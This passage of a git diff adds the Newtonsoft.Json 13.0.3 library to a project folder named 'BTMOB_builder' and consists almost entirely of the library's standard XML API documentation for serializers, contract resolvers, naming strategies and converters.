more details. + + + + + + Gets the associated with the validation error. + + The JsonSchemaException associated with the validation error. + + + + Gets the path of the JSON location where the validation error occurred. + + The path of the JSON location where the validation error occurred. + + + + Gets the text description corresponding to the validation error. + + The text description. + + + + + Represents the callback method that will handle JSON schema validation events and the . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + A camel case naming strategy. + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + A flag indicating whether extension data names should be processed. + + + + + Initializes a new instance of the class. + + + + + Resolves the specified property name. + + The property name to resolve. + The resolved property name. + + + + Resolves member mappings for a type, camel casing property names. + + + + + Initializes a new instance of the class. + + + + + Resolves the contract for a given type. + + The type to resolve a contract for. + The contract for a given type. + + + + Used by to resolve a for a given . + + + + + Gets a value indicating whether members are being get and set using dynamic code generation. + This value is determined by the runtime permissions available. + + + true if using dynamic code generation; otherwise, false. + + + + + Gets or sets the default members search flags. + + The default members search flags. + + + + Gets or sets a value indicating whether compiler generated members should be serialized. + + + true if serialized compiler generated members; otherwise, false. + + + + + Gets or sets a value indicating whether to ignore the interface when serializing and deserializing types. + + + true if the interface will be ignored when serializing and deserializing types; otherwise, false. + + + + + Gets or sets a value indicating whether to ignore the attribute when serializing and deserializing types. + + + true if the attribute will be ignored when serializing and deserializing types; otherwise, false. + + + + + Gets or sets a value indicating whether to ignore IsSpecified members when serializing and deserializing types. + + + true if the IsSpecified members will be ignored when serializing and deserializing types; otherwise, false. + + + + + Gets or sets a value indicating whether to ignore ShouldSerialize members when serializing and deserializing types. + + + true if the ShouldSerialize members will be ignored when serializing and deserializing types; otherwise, false. + + + + + Gets or sets the naming strategy used to resolve how property names and dictionary keys are serialized. + + The naming strategy used to resolve how property names and dictionary keys are serialized. + + + + Initializes a new instance of the class. + + + + + Resolves the contract for a given type. + + The type to resolve a contract for. + The contract for a given type. + + + + Gets the serializable members for the type. + + The type to get serializable members for. + The serializable members for the type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates the constructor parameters. + + The constructor to create properties for. + The type's member properties. + Properties for the given . + + + + Creates a for the given . + + The matching member property. + The constructor parameter. + A created for the given . + + + + Resolves the default for the contract. + + Type of the object. + The contract's default . + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Determines which contract type is created for the given type. + + Type of the object. + A for the given type. + + + + Creates properties for the given . + + The type to create properties for. + /// The member serialization mode for the type. + Properties for the given . + + + + Creates the used by the serializer to get and set values from a member. + + The member. + The used by the serializer to get and set values from a member. + + + + Creates a for the given . + + The member's parent . + The member to create a for. + A created for the given . + + + + Resolves the name of the property. + + Name of the property. + Resolved name of the property. + + + + Resolves the name of the extension data. By default no changes are made to extension data names. + + Name of the extension data. + Resolved name of the extension data. + + + + Resolves the key of the dictionary. By default is used to resolve dictionary keys. + + Key of the dictionary. + Resolved key of the dictionary. + + + + Gets the resolved name of the property. + + Name of the property. + Name of the property. + + + + The default naming strategy. Property names and dictionary keys are unchanged. + + + + + Resolves the specified property name. + + The property name to resolve. + The resolved property name. + + + + The default serialization binder used when resolving and loading classes from type names. + + + + + Initializes a new instance of the class. + + + + + When overridden in a derived class, controls the binding of a serialized object to a type. + + Specifies the name of the serialized object. + Specifies the name of the serialized object. + + The type of the object the formatter creates a new instance of. + + + + + When overridden in a derived class, controls the binding of a serialized object to a type. + + The type of the object the formatter creates a new instance of. + Specifies the name of the serialized object. + Specifies the name of the serialized object. + + + + Represents a trace writer that writes to the application's instances. + + + + + Gets the that will be used to filter the trace messages passed to the writer. + For example a filter level of will exclude messages and include , + and messages. + + + The that will be used to filter the trace messages passed to the writer. + + + + + Writes the specified trace level, message and optional exception. + + The at which to write this trace. + The trace message. + The trace exception. This parameter is optional. + + + + Get and set values for a using dynamic methods. + + + + + Initializes a new instance of the class. + + The member info. + + + + Sets the value. + + The target to set the value on. + The value to set on the target. + + + + Gets the value. + + The target to get the value from. + The value. + + + + Provides information surrounding an error. + + + + + Gets the error. + + The error. + + + + Gets the original object that caused the error. + + The original object that caused the error. + + + + Gets the member that caused the error. + + The member that caused the error. + + + + Gets the path of the JSON location where the error occurred. + + The path of the JSON location where the error occurred. + + + + Gets or sets a value indicating whether this is handled. + + true if handled; otherwise, false. + + + + Provides data for the Error event. + + + + + Gets the current object the error event is being raised against. + + The current object the error event is being raised against. + + + + Gets the error context. + + The error context. + + + + Initializes a new instance of the class. + + The current object. + The error context. + + + + Provides methods to get attributes. + + + + + Returns a collection of all of the attributes, or an empty collection if there are no attributes. + + When true, look up the hierarchy chain for the inherited custom attribute. + A collection of s, or an empty collection. + + + + Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. + + The type of the attributes. + When true, look up the hierarchy chain for the inherited custom attribute. + A collection of s, or an empty collection. + + + + Used by to resolve a for a given . + + + + + + + + + Resolves the contract for a given type. + + The type to resolve a contract for. + The contract for a given type. + + + + Used to resolve references when serializing and deserializing JSON by the . + + + + + Resolves a reference to its object. + + The serialization context. + The reference to resolve. + The object that was resolved from the reference. + + + + Gets the reference for the specified object. + + The serialization context. + The object to get a reference for. + The reference to the object. + + + + Determines whether the specified object is referenced. + + The serialization context. + The object to test for a reference. + + true if the specified object is referenced; otherwise, false. + + + + + Adds a reference to the specified object. + + The serialization context. + The reference. + The object to reference. + + + + Allows users to control class loading and mandate what class to load. + + + + + When implemented, controls the binding of a serialized object to a type. + + Specifies the name of the serialized object. + Specifies the name of the serialized object + The type of the object the formatter creates a new instance of. + + + + When implemented, controls the binding of a serialized object to a type. + + The type of the object the formatter creates a new instance of. + Specifies the name of the serialized object. + Specifies the name of the serialized object. + + + + Represents a trace writer. + + + + + Gets the that will be used to filter the trace messages passed to the writer. + For example a filter level of will exclude messages and include , + and messages. + + The that will be used to filter the trace messages passed to the writer. + + + + Writes the specified trace level, message and optional exception. + + The at which to write this trace. + The trace message. + The trace exception. This parameter is optional. + + + + Provides methods to get and set values. + + + + + Sets the value. + + The target to set the value on. + The value to set on the target. + + + + Gets the value. + + The target to get the value from. + The value. + + + + Contract details for a used by the . + + + + + Gets the of the collection items. + + The of the collection items. + + + + Gets a value indicating whether the collection type is a multidimensional array. + + true if the collection type is a multidimensional array; otherwise, false. + + + + Gets or sets the function used to create the object. When set this function will override . + + The function used to create the object. + + + + Gets a value indicating whether the creator has a parameter with the collection values. + + true if the creator has a parameter with the collection values; otherwise, false. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Gets or sets the default collection items . + + The converter. + + + + Gets or sets a value indicating whether the collection items preserve object references. + + true if collection items preserve object references; otherwise, false. + + + + Gets or sets the collection item reference loop handling. + + The reference loop handling. + + + + Gets or sets the collection item type name handling. + + The type name handling. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Handles serialization callback events. + + The object that raised the callback event. + The streaming context. + + + + Handles serialization error callback events. + + The object that raised the callback event. + The streaming context. + The error context. + + + + Sets extension data for an object during deserialization. + + The object to set extension data on. + The extension data key. + The extension data value. + + + + Gets extension data for an object during serialization. + + The object to set extension data on. + + + + Contract details for a used by the . + + + + + Gets the underlying type for the contract. + + The underlying type for the contract. + + + + Gets or sets the type created during deserialization. + + The type created during deserialization. + + + + Gets or sets whether this type contract is serialized as a reference. + + Whether this type contract is serialized as a reference. + + + + Gets or sets the default for this contract. + + The converter. + + + + Gets the internally resolved for the contract's type. + This converter is used as a fallback converter when no other converter is resolved. + Setting will always override this converter. + + + + + Gets or sets all methods called immediately after deserialization of the object. + + The methods called immediately after deserialization of the object. + + + + Gets or sets all methods called during deserialization of the object. + + The methods called during deserialization of the object. + + + + Gets or sets all methods called after serialization of the object graph. + + The methods called after serialization of the object graph. + + + + Gets or sets all methods called before serialization of the object. + + The methods called before serialization of the object. + + + + Gets or sets all method called when an error is thrown during the serialization of the object. + + The methods called when an error is thrown during the serialization of the object. + + + + Gets or sets the default creator method used to create the object. + + The default creator method used to create the object. + + + + Gets or sets a value indicating whether the default creator is non-public. + + true if the default object creator is non-public; otherwise, false. + + + + Contract details for a used by the . + + + + + Gets or sets the dictionary key resolver. + + The dictionary key resolver. + + + + Gets the of the dictionary keys. + + The of the dictionary keys. + + + + Gets the of the dictionary values. + + The of the dictionary values. + + + + Gets or sets the function used to create the object. When set this function will override . + + The function used to create the object. + + + + Gets a value indicating whether the creator has a parameter with the dictionary values. + + true if the creator has a parameter with the dictionary values; otherwise, false. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Gets or sets the object constructor. + + The object constructor. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Gets or sets the object member serialization. + + The member object serialization. + + + + Gets or sets the missing member handling used when deserializing this object. + + The missing member handling. + + + + Gets or sets a value that indicates whether the object's properties are required. + + + A value indicating whether the object's properties are required. + + + + + Gets or sets how the object's properties with null values are handled during serialization and deserialization. + + How the object's properties with null values are handled during serialization and deserialization. + + + + Gets the object's properties. + + The object's properties. + + + + Gets a collection of instances that define the parameters used with . + + + + + Gets or sets the function used to create the object. When set this function will override . + This function is called with a collection of arguments which are defined by the collection. + + The function used to create the object. + + + + Gets or sets the extension data setter. + + + + + Gets or sets the extension data getter. + + + + + Gets or sets the extension data value type. + + + + + Gets or sets the extension data name resolver. + + The extension data name resolver. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Maps a JSON property to a .NET member or constructor parameter. + + + + + Gets or sets the name of the property. + + The name of the property. + + + + Gets or sets the type that declared this property. + + The type that declared this property. + + + + Gets or sets the order of serialization of a member. + + The numeric order of serialization. + + + + Gets or sets the name of the underlying member or parameter. + + The name of the underlying member or parameter. + + + + Gets the that will get and set the during serialization. + + The that will get and set the during serialization. + + + + Gets or sets the for this property. + + The for this property. + + + + Gets or sets the type of the property. + + The type of the property. + + + + Gets or sets the for the property. + If set this converter takes precedence over the contract converter for the property type. + + The converter. + + + + Gets or sets the member converter. + + The member converter. + + + + Gets or sets a value indicating whether this is ignored. + + true if ignored; otherwise, false. + + + + Gets or sets a value indicating whether this is readable. + + true if readable; otherwise, false. + + + + Gets or sets a value indicating whether this is writable. + + true if writable; otherwise, false. + + + + Gets or sets a value indicating whether this has a member attribute. + + true if has a member attribute; otherwise, false. + + + + Gets the default value. + + The default value. + + + + Gets or sets a value indicating whether this is required. + + A value indicating whether this is required. + + + + Gets a value indicating whether has a value specified. + + + + + Gets or sets a value indicating whether this property preserves object references. + + + true if this instance is reference; otherwise, false. + + + + + Gets or sets the property null value handling. + + The null value handling. + + + + Gets or sets the property default value handling. + + The default value handling. + + + + Gets or sets the property reference loop handling. + + The reference loop handling. + + + + Gets or sets the property object creation handling. + + The object creation handling. + + + + Gets or sets or sets the type name handling. + + The type name handling. + + + + Gets or sets a predicate used to determine whether the property should be serialized. + + A predicate used to determine whether the property should be serialized. + + + + Gets or sets a predicate used to determine whether the property should be deserialized. + + A predicate used to determine whether the property should be deserialized. + + + + Gets or sets a predicate used to determine whether the property should be serialized. + + A predicate used to determine whether the property should be serialized. + + + + Gets or sets an action used to set whether the property has been deserialized. + + An action used to set whether the property has been deserialized. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Gets or sets the converter used when serializing the property's collection items. + + The collection's items converter. + + + + Gets or sets whether this property's collection items are serialized as a reference. + + Whether this property's collection items are serialized as a reference. + + + + Gets or sets the type name handling used when serializing the property's collection items. + + The collection's items type name handling. + + + + Gets or sets the reference loop handling used when serializing the property's collection items. + + The collection's items reference loop handling. + + + + A collection of objects. + + + + + Initializes a new instance of the class. + + The type. + + + + When implemented in a derived class, extracts the key from the specified element. + + The element from which to extract the key. + The key for the specified element. + + + + Adds a object. + + The property to add to the collection. + + + + Gets the closest matching object. + First attempts to get an exact case match of and then + a case insensitive match. + + Name of the property. + A matching property if found. + + + + Gets a property by property name. + + The name of the property to get. + Type property name string comparison. + A matching property if found. + + + + Contract details for a used by the . + + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Lookup and create an instance of the type described by the argument. + + The type to create. + Optional arguments to pass to an initializing constructor of the JsonConverter. + If null, the default constructor is used. + + + + A kebab case naming strategy. + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + A flag indicating whether extension data names should be processed. + + + + + Initializes a new instance of the class. + + + + + Resolves the specified property name. + + The property name to resolve. + The resolved property name. + + + + Represents a trace writer that writes to memory. When the trace message limit is + reached then old trace messages will be removed as new messages are added. + + + + + Gets the that will be used to filter the trace messages passed to the writer. + For example a filter level of will exclude messages and include , + and messages. + + + The that will be used to filter the trace messages passed to the writer. + + + + + Initializes a new instance of the class. + + + + + Writes the specified trace level, message and optional exception. + + The at which to write this trace. + The trace message. + The trace exception. This parameter is optional. + + + + Returns an enumeration of the most recent trace messages. + + An enumeration of the most recent trace messages. + + + + Returns a of the most recent trace messages. + + + A of the most recent trace messages. + + + + + A base class for resolving how property names and dictionary keys are serialized. + + + + + A flag indicating whether dictionary keys should be processed. + Defaults to false. + + + + + A flag indicating whether extension data names should be processed. + Defaults to false. + + + + + A flag indicating whether explicitly specified property names, + e.g. a property name customized with a , should be processed. + Defaults to false. + + + + + Gets the serialized name for a given property name. + + The initial property name. + A flag indicating whether the property has had a name explicitly specified. + The serialized property name. + + + + Gets the serialized name for a given extension data name. + + The initial extension data name. + The serialized extension data name. + + + + Gets the serialized key for a given dictionary key. + + The initial dictionary key. + The serialized dictionary key. + + + + Resolves the specified property name. + + The property name to resolve. + The resolved property name. + + + + Hash code calculation + + + + + + Object equality implementation + + + + + + + Compare to another NamingStrategy + + + + + + + Represents a method that constructs an object. + + The object type to create. + + + + When applied to a method, specifies that the method is called when an error occurs serializing an object. + + + + + Provides methods to get attributes from a , , or . + + + + + Initializes a new instance of the class. + + The instance to get attributes for. This parameter should be a , , or . + + + + Returns a collection of all of the attributes, or an empty collection if there are no attributes. + + When true, look up the hierarchy chain for the inherited custom attribute. + A collection of s, or an empty collection. + + + + Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. + + The type of the attributes. + When true, look up the hierarchy chain for the inherited custom attribute. + A collection of s, or an empty collection. + + + + Get and set values for a using reflection. + + + + + Initializes a new instance of the class. + + The member info. + + + + Sets the value. + + The target to set the value on. + The value to set on the target. + + + + Gets the value. + + The target to get the value from. + The value. + + + + A snake case naming strategy. + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + A flag indicating whether extension data names should be processed. + + + + + Initializes a new instance of the class. + + + + + Resolves the specified property name. + + The property name to resolve. + The resolved property name. + + + + Specifies how strings are escaped when writing JSON text. + + + + + Only control characters (e.g. newline) are escaped. + + + + + All non-ASCII and control characters (e.g. newline) are escaped. + + + + + HTML (<, >, &, ', ") and control characters (e.g. newline) are escaped. + + + + + Indicates the method that will be used during deserialization for locating and loading assemblies. + + + + + In simple mode, the assembly used during deserialization need not match exactly the assembly used during serialization. Specifically, the version numbers need not match as the LoadWithPartialName method of the class is used to load the assembly. + + + + + In full mode, the assembly used during deserialization must match exactly the assembly used during serialization. The Load method of the class is used to load the assembly. + + + + + Specifies type name handling options for the . + + + should be used with caution when your application deserializes JSON from an external source. + Incoming types should be validated with a custom + when deserializing with a value other than . + + + + + Do not include the .NET type name when serializing types. + + + + + Include the .NET type name when serializing into a JSON object structure. + + + + + Include the .NET type name when serializing into a JSON array structure. + + + + + Always include the .NET type name when serializing. + + + + + Include the .NET type name when the type of the object being serialized is not the same as its declared type. + Note that this doesn't include the root serialized object by default. To include the root object's type name in JSON + you must specify a root type object with + or . + + + + + Determines whether the collection is null or empty. + + The collection. + + true if the collection is null or empty; otherwise, false. + + + + + Adds the elements of the specified collection to the specified generic . + + The list to add to. + The collection of elements to add. + + + + Converts the value to the specified type. If the value is unable to be converted, the + value is checked whether it assignable to the specified type. + + The value to convert. + The culture to use when converting. + The type to convert or cast the value to. + + The converted type. If conversion was unsuccessful, the initial value + is returned if assignable to the target type. + + + + + Helper class for serializing immutable collections. + Note that this is used by all builds, even those that don't support immutable collections, in case the DLL is GACed + https://github.com/JamesNK/Newtonsoft.Json/issues/652 + + + + + Gets the type of the typed collection's items. + + The type. + The type of the typed collection's items. + + + + Gets the member's underlying type. + + The member. + The underlying type of the member. + + + + Determines whether the property is an indexed property. + + The property. + + true if the property is an indexed property; otherwise, false. + + + + + Gets the member's value on the object. + + The member. + The target object. + The member's value on the object. + + + + Sets the member's value on the target object. + + The member. + The target. + The value. + + + + Determines whether the specified MemberInfo can be read. + + The MemberInfo to determine whether can be read. + /// if set to true then allow the member to be gotten non-publicly. + + true if the specified MemberInfo can be read; otherwise, false. + + + + + Determines whether the specified MemberInfo can be set. + + The MemberInfo to determine whether can be set. + if set to true then allow the member to be set non-publicly. + if set to true then allow the member to be set if read-only. + + true if the specified MemberInfo can be set; otherwise, false. + + + + + Builds a string. Unlike this class lets you reuse its internal buffer. + + + + + Determines whether the string is all white space. Empty string will return false. + + The string to test whether it is all white space. + + true if the string is all white space; otherwise, false. + + + + + Specifies the state of the . + + + + + An exception has been thrown, which has left the in an invalid state. + You may call the method to put the in the Closed state. + Any other method calls result in an being thrown. + + + + + The method has been called. + + + + + An object is being written. + + + + + An array is being written. + + + + + A constructor is being written. + + + + + A property is being written. + + + + + A write method has not been called. + + + + Specifies that an output will not be null even if the corresponding type allows it. + + + Specifies that when a method returns , the parameter will not be null even if the corresponding type allows it. + + + Initializes the attribute with the specified return value condition. + + The return value condition. If the method returns this value, the associated parameter will not be null. + + + + Gets the return value condition. + + + Specifies that an output may be null even if the corresponding type disallows it. + + + Specifies that null is allowed as an input even if the corresponding type disallows it. + + + + Specifies that the method will not return if the associated Boolean parameter is passed the specified value. + + + + + Initializes a new instance of the class. + + + The condition parameter value. Code after the method will be considered unreachable by diagnostics if the argument to + the associated parameter matches this value. + + + + Gets the condition parameter value. + + + diff --git a/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/net40/Newtonsoft.Json.dll b/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/net40/Newtonsoft.Json.dll new file mode 100644 index 0000000..be3857e Binary files /dev/null and b/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/net40/Newtonsoft.Json.dll differ diff --git a/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/net40/Newtonsoft.Json.xml b/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/net40/Newtonsoft.Json.xml new file mode 100644 index 0000000..c24f6e5 --- /dev/null +++ b/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/net40/Newtonsoft.Json.xml @@ -0,0 +1,9741 @@ + + + + Newtonsoft.Json + + + + + Represents a BSON Oid (object id). + + + + + Gets or sets the value of the Oid. + + The value of the Oid. + + + + Initializes a new instance of the class. + + The Oid value. + + + + Represents a reader that provides fast, non-cached, forward-only access to serialized BSON data. + + + + + Gets or sets a value indicating whether binary data reading should be compatible with incorrect Json.NET 3.5 written binary. + + + true if binary data reading will be compatible with incorrect Json.NET 3.5 written binary; otherwise, false. + + + + + Gets or sets a value indicating whether the root object will be read as a JSON array. + + + true if the root object will be read as a JSON array; otherwise, false. + + + + + Gets or sets the used when reading values from BSON. + + The used when reading values from BSON. + + + + Initializes a new instance of the class. + + The containing the BSON data to read. + + + + Initializes a new instance of the class. + + The containing the BSON data to read. + + + + Initializes a new instance of the class. + + The containing the BSON data to read. + if set to true the root object will be read as a JSON array. + The used when reading values from BSON. + + + + Initializes a new instance of the class. + + The containing the BSON data to read. + if set to true the root object will be read as a JSON array. + The used when reading values from BSON. + + + + Reads the next JSON token from the underlying . + + + true if the next token was read successfully; false if there are no more tokens to read. + + + + + Changes the reader's state to . + If is set to true, the underlying is also closed. + + + + + Represents a writer that provides a fast, non-cached, forward-only way of generating BSON data. + + + + + Gets or sets the used when writing values to BSON. + When set to no conversion will occur. + + The used when writing values to BSON. + + + + Initializes a new instance of the class. + + The to write to. + + + + Initializes a new instance of the class. + + The to write to. + + + + Flushes whatever is in the buffer to the underlying and also flushes the underlying stream. + + + + + Writes the end. + + The token. + + + + Writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + + + + Writes the start of a constructor with the given name. + + The name of the constructor. + + + + Writes raw JSON. + + The raw JSON to write. + + + + Writes raw JSON where a value is expected and updates the writer's state. + + The raw JSON to write. + + + + Writes the beginning of a JSON array. + + + + + Writes the beginning of a JSON object. + + + + + Writes the property name of a name/value pair on a JSON object. + + The name of the property. + + + + Closes this writer. + If is set to true, the underlying is also closed. + If is set to true, the JSON is auto-completed. + + + + + Writes a value. + An error will raised if the value cannot be written as a single JSON token. + + The value to write. + + + + Writes a null value. + + + + + Writes an undefined value. + + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a [] value. + + The [] value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a [] value that represents a BSON object id. + + The Object ID value to write. + + + + Writes a BSON regex. + + The regex pattern. + The regex options. + + + + Specifies how constructors are used when initializing objects during deserialization by the . + + + + + First attempt to use the public default constructor, then fall back to a single parameterized constructor, then to the non-public default constructor. + + + + + Json.NET will use a non-public default constructor before falling back to a parameterized constructor. + + + + + Converts a binary value to and from a base 64 string value. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts a to and from JSON and BSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Creates a custom object. + + The object type to convert. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Creates an object which will then be populated by the serializer. + + Type of the object. + The created object. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Gets a value indicating whether this can write JSON. + + + true if this can write JSON; otherwise, false. + + + + + Converts a to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified value type. + + Type of the value. + + true if this instance can convert the specified value type; otherwise, false. + + + + + Converts a to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified value type. + + Type of the value. + + true if this instance can convert the specified value type; otherwise, false. + + + + + Provides a base class for converting a to and from JSON. + + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts a F# discriminated union type to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts an Entity Framework to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts an to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Gets a value indicating whether this can write JSON. + + + true if this can write JSON; otherwise, false. + + + + + Converts a to and from the ISO 8601 date format (e.g. "2008-04-12T12:53Z"). + + + + + Gets or sets the date time styles used when converting a date to and from JSON. + + The date time styles used when converting a date to and from JSON. + + + + Gets or sets the date time format used when converting a date to and from JSON. + + The date time format used when converting a date to and from JSON. + + + + Gets or sets the culture used when converting a date to and from JSON. + + The culture used when converting a date to and from JSON. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Converts a to and from a JavaScript Date constructor (e.g. new Date(52231943)). + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing property value of the JSON that is being converted. + The calling serializer. + The object value. + + + + Converts a to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts a to and from JSON and BSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts an to and from its name string value. + + + + + Gets or sets a value indicating whether the written enum text should be camel case. + The default value is false. + + true if the written enum text will be camel case; otherwise, false. + + + + Gets or sets the naming strategy used to resolve how enum text is written. + + The naming strategy used to resolve how enum text is written. + + + + Gets or sets a value indicating whether integer values are allowed when serializing and deserializing. + The default value is true. + + true if integers are allowed when serializing and deserializing; otherwise, false. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class. + + true if the written enum text will be camel case; otherwise, false. + + + + Initializes a new instance of the class. + + The naming strategy used to resolve how enum text is written. + true if integers are allowed when serializing and deserializing; otherwise, false. + + + + Initializes a new instance of the class. + + The of the used to write enum text. + + + + Initializes a new instance of the class. + + The of the used to write enum text. + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + + + + Initializes a new instance of the class. + + The of the used to write enum text. + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + true if integers are allowed when serializing and deserializing; otherwise, false. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts a to and from Unix epoch time + + + + + Gets or sets a value indicating whether the dates before Unix epoch + should converted to and from JSON. + + + true to allow converting dates before Unix epoch to and from JSON; + false to throw an exception when a date being converted to or from JSON + occurred before Unix epoch. The default value is false. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class. + + + true to allow converting dates before Unix epoch to and from JSON; + false to throw an exception when a date being converted to or from JSON + occurred before Unix epoch. The default value is false. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing property value of the JSON that is being converted. + The calling serializer. + The object value. + + + + Converts a to and from a string (e.g. "1.2.3.4"). + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing property value of the JSON that is being converted. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts XML to and from JSON. + + + + + Gets or sets the name of the root element to insert when deserializing to XML if the JSON structure has produced multiple root elements. + + The name of the deserialized root element. + + + + Gets or sets a value to 